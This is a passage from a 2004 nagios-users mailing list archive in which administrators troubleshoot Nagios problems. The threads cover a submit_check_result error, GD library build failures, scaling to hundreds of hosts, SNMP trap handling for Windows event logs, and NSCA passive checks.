https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Thu Mar 18 21:02:00 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 18 Mar 2004 12:02:00 -0800 Subject: Passive checks from distributed server Message-ID: Hi folks. I have set up a distributed server which starts the nagios process correctly though produces an error when trying to run the 'submit_check_result' script under /usr/local/nagios/libexec/eventhandlers. Here is the error: Warning: Attempting to execute the command "/usr/local/nagios/libexec/eventhandlers/submit_check_result helium 'check C drive' UNKNOWN 'wrong -l argument'" resulted in a return code of 127. Make sure the script or binary you are trying to execute actually exists... Any advice on what I have overlooked is appreciated. --james ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 18 21:25:47 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 14:25:47 -0600 Subject: Passive checks from distributed server Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A366@mismail2.ena.com> On Thursday, March 18, 2004 2:02 PM, James Bowes shared with us: > Hi folks. > > I have set up a distributed server which starts the nagios process > correctly though produces an error when trying to run the > 'submit_check_result' script under > /usr/local/nagios/libexec/eventhandlers. Here is the error: > > Warning: Attempting to execute the command > "/usr/local/nagios/libexec/eventhandlers/submit_check_result helium > 'check C drive' UNKNOWN 'wrong -l argument'" resulted in a return > code of 127. Make sure the script or binary you are trying to > execute actually exists... > > Any advice on what I have overlooked is appreciated. 127 usually means that the program doesn't exist. If you're certain that /usr/local/nagios/libexec/eventhandlers/submit_check_result exists and is executable by the nagios user, it could be that a program that submit_check_result relies on isn't (i.e. echo or send_nsca). Make sure that the full path to each is specified (and correct) in s_c_r and that they are both executable by the nagios user. I presume that you are using the example submit_check_result from the documentation. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Thu Mar 18 21:34:25 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 18 Mar 2004 15:34:25 -0500 (EST) Subject: Passive checks from distributed server In-Reply-To: References: Message-ID: On Thu, 18 Mar 2004, James Bowes wrote: > Hi folks. > > I have set up a distributed server which starts the nagios process > correctly though produces an error when trying to run the > 'submit_check_result' script under > /usr/local/nagios/libexec/eventhandlers. Here is the error: > > Warning: Attempting to execute the command > "/usr/local/nagios/libexec/eventhandlers/submit_check_result helium > 'check C drive' UNKNOWN 'wrong -l argument'" resulted in a return code > of 127. Make sure the script or binary you are trying to execute > actually exists... > > Any advice on what I have overlooked is appreciated. > does such a file exist? /usr/local/nagios/libexec/eventhandlers/submit_check_result -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Thu Mar 18 21:40:10 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 18 Mar 2004 12:40:10 -0800 Subject: Passive checks from distributed server Message-ID: Hi. Yes it exists and to answer Marc's question the send_nsca and the submit_check_result are both executable by nagios. --james -----Original Message----- From: Subhendu Ghosh [mailto:sghosh at sghosh.org] Sent: Thursday, March 18, 2004 12:34 PM To: James Bowes Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Passive checks from distributed server On Thu, 18 Mar 2004, James Bowes wrote: > Hi folks. > > I have set up a distributed server which starts the nagios process > correctly though produces an error when trying to run the > 'submit_check_result' script under > /usr/local/nagios/libexec/eventhandlers. Here is the error: > > Warning: Attempting to execute the command > "/usr/local/nagios/libexec/eventhandlers/submit_check_result helium > 'check C drive' UNKNOWN 'wrong -l argument'" resulted in a return code > of 127. Make sure the script or binary you are trying to execute > actually exists... > > Any advice on what I have overlooked is appreciated. > does such a file exist? /usr/local/nagios/libexec/eventhandlers/submit_check_result -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 18 22:30:14 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 15:30:14 -0600 Subject: Passive checks from distributed server Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A367@mismail2.ena.com> On Thursday, March 18, 2004 2:40 PM, James Bowes shared with us: > Hi. > > Yes it exists and to answer Marc's question the send_nsca and the > submit_check_result are both executable by nagios. Can you provide us with your submit_check_result command definition, the contents of submit_check_result and an ls -l and pwd of each file or program it references (including submit_check_result itself)? Nagios version and OS information would be helpful as well. It's been my experience that return code of 127 errors are really very straightforward. -- Marc > -----Original Message----- > From: Subhendu Ghosh [mailto:sghosh at sghosh.org] > Sent: Thursday, March 18, 2004 12:34 PM > To: James Bowes > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Passive checks from distributed server > > On Thu, 18 Mar 2004, James Bowes wrote: > > > Hi folks. > > > > I have set up a distributed server which starts the nagios process > > correctly though produces an error when trying to run the > > 'submit_check_result' script under > > /usr/local/nagios/libexec/eventhandlers. Here is the error: > > > > Warning: Attempting to execute the command > > "/usr/local/nagios/libexec/eventhandlers/submit_check_result helium > > 'check C drive' UNKNOWN 'wrong -l argument'" resulted in a return > > code > > > of 127. Make sure the script or binary you are trying to execute > > actually exists... > > > > Any advice on what I have overlooked is appreciated. > > > > does such a file exist? > /usr/local/nagios/libexec/eventhandlers/submit_check_result > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Thu Mar 18 23:05:20 2004 From: blakes_email at yahoo.com (Blake) Date: Thu, 18 Mar 2004 14:05:20 -0800 (PST) Subject: Large networks ? In-Reply-To: <010a01c40d0c$4b782470$7100a8c0@rfo.rackforce.com> References: <010a01c40d0c$4b782470$7100a8c0@rfo.rackforce.com> Message-ID: <20040318220520.36939.qmail@web10510.mail.yahoo.com> Craig, what is your check intervals set for? I just setup Nagios and I am currently monitoring 60 services ... the scheduling queue was showing less than %100 for the past 5 minutes until I changed my normal check interval from 60 seconds to 120 seconds? Some services (maybe 5-10 out of 60) were not being checked for say 10-20 minutes or so? Seems strange. I thought I would check to see if you had to do any tweaking to get yours to run %100 below your normal check interval setting. -- Blake --- Craig Skelton wrote: > I'm currently monitoring 700+ servers with 2200+ > services on a single nagios system. On a dual > athalon 2G with 2G it hums along at this: > > Metric Min. Max. Average > Check Execution Time: < 1 sec 44 sec > 0.247 sec > Check Latency: < 1 sec 10 sec 0.191 sec > Percent State Change: 0.00% 0.00% 0.00% > > > > As long as you're using simple checks, it can handle > thousands of checks. > ----- Original Message ----- > From: nadine.vandois at bull.net > To: nagios-users at lists.sourceforge.net > Sent: Monday, March 15, 2004 10:04 AM > Subject: [Nagios-users] Large networks ? > > > Hi, > > I have installed Nagios on small networks, and > now, I would like to get > some idea on how many servers (servers, routers) > and services, Nagios can > monitor. > And, in this case, which configuration is > required, and what are the > performances. > > May someone give some information on this subject > ? > > Has someone got experience by monitoring large > networks ? > > > Any information you can give is most welcome. > Thanks in advance for your help. > > > Nadine VANDOIS > > > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux > Tutorials > Free Linux tutorial presented by Daniel Robbins, > President and CEO of > GenToo technologies. Learn everything from > fundamentals to system > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk > being sent to /dev/null > __________________________________ Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam http://mail.yahoo.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhennessy at mitchamcouncil.sa.gov.au Thu Mar 18 23:31:10 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Fri, 19 Mar 2004 09:01:10 +1030 Subject: Statusmap Message-ID: Ok here we go. I am running Nagios 1.2 on a Red Hat 9, 2.4 kernel (fairly new one). This is the error from the configure script: ---------------------------------------------------------------------------------------------------------------------------------------- checking for main in -liconv... (cached) no checking for gdImagePng in -lgd (order 1)... (cached) no checking for gdImagePng in -lgd (order 2)... (cached) no checking for gdImagePng in -lgd (order 3)... (cached) no *** GD, PNG, and/or JPEG libraries could not be located... ********* Boutell's GD library is required to compile the statusmap, trends and histogram CGIs. Get it from http://www.boutell.com/gd/, compile it, and use the --with-gd-lib and --with-gd-inc arguments to specify the locations of the GD library and include files. NOTE: In addition to the gd-devel library, you'll also need to make sure you have the png-devel and jpeg-devel libraries installed on your system. NOTE: After you install the necessary libraries on your system: 1. Make sure /etc/ld.so.conf has an entry for the directory in which the GD, PNG, and JPEG libraries are installed. 2. Run 'ldconfig' to update the run-time linker options. 3. Run 'make clean' in the Nagios distribution to clean out any old references to your previous compile. 4. Rerun the configure script. NOTE: If you can't get the configure script to recognize the GD libs on your system, get over it and move on to other things. The CGIs that use the GD libs are just a small part of the entire Nagios package. Get everything else working first and then revisit the problem. Make sure to check the nagios-users mailing list archives for possible solutions to GD library problems when you resume your troubleshooting. --------------------------------------------------------------------------------------------------------------------------------------- I have gone thorough and installed all of the modules that the FAQ said to (http://www.nagios.org/faqs/viewfaq.php?faq_id=55). Here are the versions of these packages: libgd-1.3-4 libgd-devel-1.3-4 libpng-1.2.2-16 libpng10-1.0.13-8 libpng-devel-1.2.2-16 libjpeg-6b-26 libjpeg-devel-6b-26 zlib-1.1.4-8 zlib-devel-1.1.4-8 When doing the configure script I have also used the --with-gd-lib and --with-gd-inc switches to tell it where they live. GD lib lives here: /usr/lib/ When I run the make all process again I only get this (with just some comments at the end about using make install etc): cd ./base && make make[1]: Entering directory `/root/nagios-1.2/base' gcc -g -O2 -DHAVE_CONFIG_H -DNSCORE nagios.c checks.o config.o commands.o flapping.o logging.o notifications.o sehandlers.o utils.o sretention.o ../xdata/xrddefault.c ../common/comments.c ../xdata/xcddefault.c ../common/objects.c ../xdata/xodtemplate.c ../common/statusdata.c ../xdata/xsddefault.c perfdata.o ../xdata/xpddefault.c ../common/downtime.c ../xdata/xdddefault.c -lm -o nagios make[1]: Leaving directory `/root/nagios-1.2/base' cd ./cgi && make make[1]: Entering directory `/root/nagios-1.2/cgi' make[1]: Nothing to be done for `all'. make[1]: Leaving directory `/root/nagios-1.2/cgi' cd ./html && make make[1]: Entering directory `/root/nagios-1.2/html' make[1]: Nothing to be done for `all'. make[1]: Leaving directory `/root/nagios-1.2/html' Hopefully this is all that you need, if not just email me. Thanks, Justin >>> "Marc Powell" 19/03/2004 12:40:50 am >>> Something is complaining somewhere during the configure or compile process. You'll need to watch those two carefully and send to the list any errors that are output (or the entire output of ./configure and possibly 'make all' if you see none). We'll also need to know more about your environment: what OS/version, what version of Nagios, what version of GD, where GD is installed, etc... -- Marc Justin Hennessy wrote: > I have done ALL of this and this problem still remains. Where do I go > next? > >>>> "Marc Powell" 18/03/2004 5:27:50 am >>> > http://www.nagios.org/faqs/viewfaq.php?faq_id=55 > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Thu Mar 18 23:47:07 2004 From: jhmartin at toger.us (Jason Martin) Date: Thu, 18 Mar 2004 14:47:07 -0800 (PST) Subject: Statusmap In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 If you've installed those libraries after you attempted the first configure() you may want to perform a "make distclean" and rerun the configure; the cached values might cause a problem. - -Jason Martin On Fri, 19 Mar 2004, Justin Hennessy wrote: > Ok here we go. > > I am running Nagios 1.2 on a Red Hat 9, 2.4 kernel (fairly new one). > > This is the error from the configure script: > ---------------------------------------------------------------------------------------------------------------------------------------- > checking for main in -liconv... (cached) no > checking for gdImagePng in -lgd (order 1)... (cached) no > checking for gdImagePng in -lgd (order 2)... (cached) no > checking for gdImagePng in -lgd (order 3)... (cached) no > > > *** GD, PNG, and/or JPEG libraries could not be located... ********* > > Boutell's GD library is required to compile the statusmap, trends > and histogram CGIs. Get it from http://www.boutell.com/gd/, compile > it, and use the --with-gd-lib and --with-gd-inc arguments to specify > the locations of the GD library and include files. > > NOTE: In addition to the gd-devel library, you'll also need to make > sure you have the png-devel and jpeg-devel libraries installed > on your system. > > NOTE: After you install the necessary libraries on your system: > 1. Make sure /etc/ld.so.conf has an entry for the directory in > which the GD, PNG, and JPEG libraries are installed. > 2. Run 'ldconfig' to update the run-time linker options. > 3. Run 'make clean' in the Nagios distribution to clean out > any old references to your previous compile. > 4. Rerun the configure script. > > NOTE: If you can't get the configure script to recognize the GD libs > on your system, get over it and move on to other things. The > CGIs that use the GD libs are just a small part of the entire > Nagios package. Get everything else working first and then > revisit the problem. Make sure to check the nagios-users > mailing list archives for possible solutions to GD library > problems when you resume your troubleshooting. > > --------------------------------------------------------------------------------------------------------------------------------------- > > I have gone thorough and installed all of the modules that the FAQ said > to (http://www.nagios.org/faqs/viewfaq.php?faq_id=55). > Here are the versions of these packages: > > libgd-1.3-4 > libgd-devel-1.3-4 > libpng-1.2.2-16 > libpng10-1.0.13-8 > libpng-devel-1.2.2-16 > libjpeg-6b-26 > libjpeg-devel-6b-26 > zlib-1.1.4-8 > zlib-devel-1.1.4-8 > > When doing the configure script I have also used the --with-gd-lib and > --with-gd-inc switches to tell it where they live. > > GD lib lives here: /usr/lib/ > > When I run the make all process again I only get this (with just some > comments at the end about using make install etc): > > cd ./base && make > make[1]: Entering directory `/root/nagios-1.2/base' > gcc -g -O2 -DHAVE_CONFIG_H -DNSCORE nagios.c checks.o config.o > commands.o flapping.o logging.o notifications.o sehandlers.o utils.o > sretention.o ../xdata/xrddefault.c ../common/comments.c > ../xdata/xcddefault.c ../common/objects.c ../xdata/xodtemplate.c > ../common/statusdata.c ../xdata/xsddefault.c perfdata.o > ../xdata/xpddefault.c ../common/downtime.c ../xdata/xdddefault.c -lm > -o nagios > make[1]: Leaving directory `/root/nagios-1.2/base' > cd ./cgi && make > make[1]: Entering directory `/root/nagios-1.2/cgi' > make[1]: Nothing to be done for `all'. > make[1]: Leaving directory `/root/nagios-1.2/cgi' > cd ./html && make > make[1]: Entering directory `/root/nagios-1.2/html' > make[1]: Nothing to be done for `all'. > make[1]: Leaving directory `/root/nagios-1.2/html' > > Hopefully this is all that you need, if not just email me. > > Thanks, > > Justin > > > > >>> "Marc Powell" 19/03/2004 12:40:50 am >>> > Something is complaining somewhere during the configure or compile > process. You'll need to watch those two carefully and send to the list > any errors that are output (or the entire output of ./configure and > possibly 'make all' if you see none). We'll also need to know more > about > your environment: what OS/version, what version of Nagios, what > version > of GD, where GD is installed, etc... > > -- > Marc > > Justin Hennessy wrote: > > I have done ALL of this and this problem still remains. Where do I > go > > next? > > > >>>> "Marc Powell" 18/03/2004 5:27:50 am >>> > > http://www.nagios.org/faqs/viewfaq.php?faq_id=55 > > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWib0l2ODWuqVSBMRAp72AJ4xkaPaQAxXs+m1yz61Y+VqhibH9wCfcKA1 SxhOKRx7EMJNijzpkL5gB8U= =XxO+ -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Stanley.Hopcroft at IPAustralia.Gov.AU Thu Mar 18 23:45:07 2004 From: Stanley.Hopcroft at IPAustralia.Gov.AU (Stanley Hopcroft) Date: Fri, 19 Mar 2004 09:45:07 +1100 Subject: win eventlog snmp monitoring (was: ev2T -> snmptrapd -> Nagios ) In-Reply-To: ; from nagios-users-request@lists.sourceforge.net on Thu, Mar 18, 2004 at 10:35:10AM -0800 References: Message-ID: <20040319094507.A5555@IPAustralia.Gov.AU> Dear Sir, I am writing to thank you for your letter and say, > Date: Thu, 18 Mar 2004 09:34:58 +0100 > From: =?windows-1250?Q?Dezider_G=F3ra?= > Organization: I. Wittmann & Syn, spol. s r.o. > To: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] win eventlog snmp monitoring (was: ev2T -> snmptrapd -> Nagios ) > > Hi all, > > after 3 days battle I'm glad to report success on this :-) > So here comes the story (if anyone's interested)... > Needed stuff > ev2T, http://www.ncomtech.com/download.htm > net-snmp package http://www.net-snmp.org > obviously nagios, libmcrypt, nsca > Docs: > http://nagios.sourceforge.net/docs/1_0/int-snmptrap.html > > Install ev2T on windows machine, and configure it. There's one small bug > in ev2T, so read the info on download page. > Configure it, set snmp server where to send traps, and set it to use > snmp v2c. It's usefull to set filter on eventsource, otherwise it will > raise trap everytime a new record appears in win eventlog. Also uncheck > unneeded fields in sent trap ( like event description, event type, etc. ) > Copy the mib file to mibs directory on target server and restart snmp. > Configure snmp traphandle to catch the trap from win station. Well, this > was my biggest problem. I'm a total newbie in snmp, so it was a > trial-failure procedure.... The only way I got it to work, was to use > "number representation" of ::eventLogGeneralTrap OID. (This sounds like the MIB files were not comprehensible to the Net-SNMP tools: \r in the MIB text, or perhaps wrong paths) > So my snmptrapd.conf looks like this: > traphandle .1.3.6.1.4.1.2854.6.1.2.1.0.1 > /usr/local/nagios/libexec/eventhandlers/handle-eventlog-trap 2 > Then it comes an easy part. Create shell script that handles passed snmp > trap info and runs submit_check_results script as described at > http://nagios.sourceforge.net/docs/1_0/int-snmptrap.html .. snip (valuable information about writing the trap handler) > > This is how it works for me. I don't know why, but it works. I don't > understand snmp, mibs, so if anyone can improve this and "shed a little > light" for me, I'll be glad. > I abandoned this approach after writing about 6 trap handlers when I realised that to handle 'just one more trap', I needed to write another. Perhaps I could have written a class; probably should have (since so much of the processing is common to each handler), but the trap handler approach requires you maintain code - testing, design etc. Nagios::TrapHandler anywone ? The approach I use now is 1 install the MIBs corresponding to the trap - I usually put them in a ~me/.snmp so all the issues with 'unlinked OIDs ...' can be sorted out without potential impact on any other applications. snmptranslate is _invaluable_ to ensure that the MIB can be understood by the Net-SNMP tools. 2 Install _no_ trap handler. Simply let the trap be logged (snmptrapd must be configured to use syslogd to log and put the traps somewhere). 3 Use a pattern matching log file analyser like swatch or logsurfer to match each logged trap against patterns that represent events of interest to you and react accordingly. You could also use an Event Correlator like Sec or RuleCore to interpret the temporal significance of the logged traps to, for example, filter matched pairs of events (down followd by up within some minimum period) that represent a transient you don't want to know about. Whatever you use, the software should be able to generate a passive service check result and write it to the Nagiso commnad input file so that Nagios can be made aware of it. What you end up with in the Sec case, is instead of a whole bunch of unrelated code for each handler, _one_ easily RCS managed configuration file. Actually in this case, I probably would have replaced ev2trap with a product like Snare/BackLog that converts event log messages to syslog messages that can be harvested on a central syslog server (for all your Win boxes) and this can be one of the files processed by LogSurfer, Sec etc. Whatever you do, the magic word is 'Event Correlation': a means of relating time sequenced messages from many sources into inferences about . business system health . automated actions required . escalation required . impact severity > hope this helps. > regards, > Dezider. > > > > Yours sincerely. -- ------------------------------------------------------------------------ Stanley Hopcroft ------------------------------------------------------------------------ '...No man is an island, entire of itself; every man is a piece of the continent, a part of the main. If a clod be washed away by the sea, Europe is the less, as well as if a promontory were, as well as if a manor of thy friend's or of thine own were. Any man's death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee...' from Meditation 17, J Donne. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cskelton at rackforce.com Thu Mar 18 23:49:42 2004 From: cskelton at rackforce.com (Craig Skelton) Date: Thu, 18 Mar 2004 14:49:42 -0800 Subject: Large networks ? References: <20040318220520.36939.qmail@web10510.mail.yahoo.com> Message-ID: <02fd01c40d3b$4d9294a0$7100a8c0@rfo.rackforce.com> command_check_interval=60 Two main tweaks make this possible for me. The first is to use a ramdisk for the status log. The second tweak was to change the ping check to a one packet ping, and each host to max_attempts of 10. The result is a short circuit in ping checks for hosts that do respond. ----- Original Message ----- From: Blake To: Craig Skelton ; nagios-users at lists.sourceforge.net Sent: Thursday, March 18, 2004 2:05 PM Subject: Re: [Nagios-users] Large networks ? Craig, what is your check intervals set for? I just setup Nagios and I am currently monitoring 60 services ... the scheduling queue was showing less than %100 for the past 5 minutes until I changed my normal check interval from 60 seconds to 120 seconds? Some services (maybe 5-10 out of 60) were not being checked for say 10-20 minutes or so? Seems strange. I thought I would check to see if you had to do any tweaking to get yours to run %100 below your normal check interval setting. -- Blake --- Craig Skelton wrote: > I'm currently monitoring 700+ servers with 2200+ > services on a single nagios system. On a dual > athalon 2G with 2G it hums along at this: > > Metric Min. Max. Average > Check Execution Time: < 1 sec 44 sec > 0.247 sec > Check Latency: < 1 sec 10 sec 0.191 sec > Percent State Change: 0.00% 0.00% 0.00% > > > > As long as you're using simple checks, it can handle > thousands of checks. > ----- Original Message ----- > From: nadine.vandois at bull.net > To: nagios-users at lists.sourceforge.net > Sent: Monday, March 15, 2004 10:04 AM > Subject: [Nagios-users] Large networks ? > > > Hi, > > I have installed Nagios on small networks, and > now, I would like to get > some idea on how many servers (servers, routers) > and services, Nagios can > monitor. > And, in this case, which configuration is > required, and what are the > performances. > > May someone give some information on this subject > ? > > Has someone got experience by monitoring large > networks ? > > > Any information you can give is most welcome. > Thanks in advance for your help. > > > Nadine VANDOIS > > > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux > Tutorials > Free Linux tutorial presented by Daniel Robbins, > President and CEO of > GenToo technologies. Learn everything from > fundamentals to system > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk > being sent to /dev/null > __________________________________ Do you Yahoo!? Yahoo! Mail - More reliable, more storage, less spam http://mail.yahoo.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From james at expresscomputers.com Thu Mar 18 23:59:02 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 18 Mar 2004 14:59:02 -0800 Subject: Passive checks from distributed server Message-ID: Hi. I have resolved the error 127... It was me and the pathing in the way I installed send_nsca. I have sinced moved it to the correct location and the error has discontinued. I am still assessing the send/receipt aspects so I will let you know how it goes. --james -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Thursday, March 18, 2004 1:30 PM To: James Bowes; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Passive checks from distributed server On Thursday, March 18, 2004 2:40 PM, James Bowes shared with us: > Hi. > > Yes it exists and to answer Marc's question the send_nsca and the > submit_check_result are both executable by nagios. Can you provide us with your submit_check_result command definition, the contents of submit_check_result and an ls -l and pwd of each file or program it references (including submit_check_result itself)? Nagios version and OS information would be helpful as well. It's been my experience that return code of 127 errors are really very straightforward. -- Marc > -----Original Message----- > From: Subhendu Ghosh [mailto:sghosh at sghosh.org] > Sent: Thursday, March 18, 2004 12:34 PM > To: James Bowes > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Passive checks from distributed server > > On Thu, 18 Mar 2004, James Bowes wrote: > > > Hi folks. > > > > I have set up a distributed server which starts the nagios process > > correctly though produces an error when trying to run the > > 'submit_check_result' script under > > /usr/local/nagios/libexec/eventhandlers. Here is the error: > > > > Warning: Attempting to execute the command > > "/usr/local/nagios/libexec/eventhandlers/submit_check_result helium > > 'check C drive' UNKNOWN 'wrong -l argument'" resulted in a return > > code > > > of 127. Make sure the script or binary you are trying to execute > > actually exists... > > > > Any advice on what I have overlooked is appreciated. > > > > does such a file exist? > /usr/local/nagios/libexec/eventhandlers/submit_check_result > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From james at expresscomputers.com Fri Mar 19 00:14:12 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 18 Mar 2004 15:14:12 -0800 Subject: Distributed monitoring continued Message-ID: Hi. I have the 2 servers running in a LAN for testing. I am not seeing anything other than pending on the central server. I set up the nsca service in /etc/services and the nsca aspect in xinetd.d/nsca. I have no tcp_wrappers running and I can see the central server listening for connections on port 5567. Is there something I should be checking in the log files to see if they're talking to each other? James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ric at nkn.net Fri Mar 19 00:35:00 2004 From: ric at nkn.net (Ric Moseley) Date: Thu, 18 Mar 2004 17:35:00 -0600 Subject: Distributed monitoring continued In-Reply-To: References: Message-ID: In the nagios.log file you will see something line: [1079652629] EXTERNAL COMMAND: PROCESS_SERVICE_CHECK_RESULT;SERVER1;check_nt_process_custom_sqlservr_exe;0; 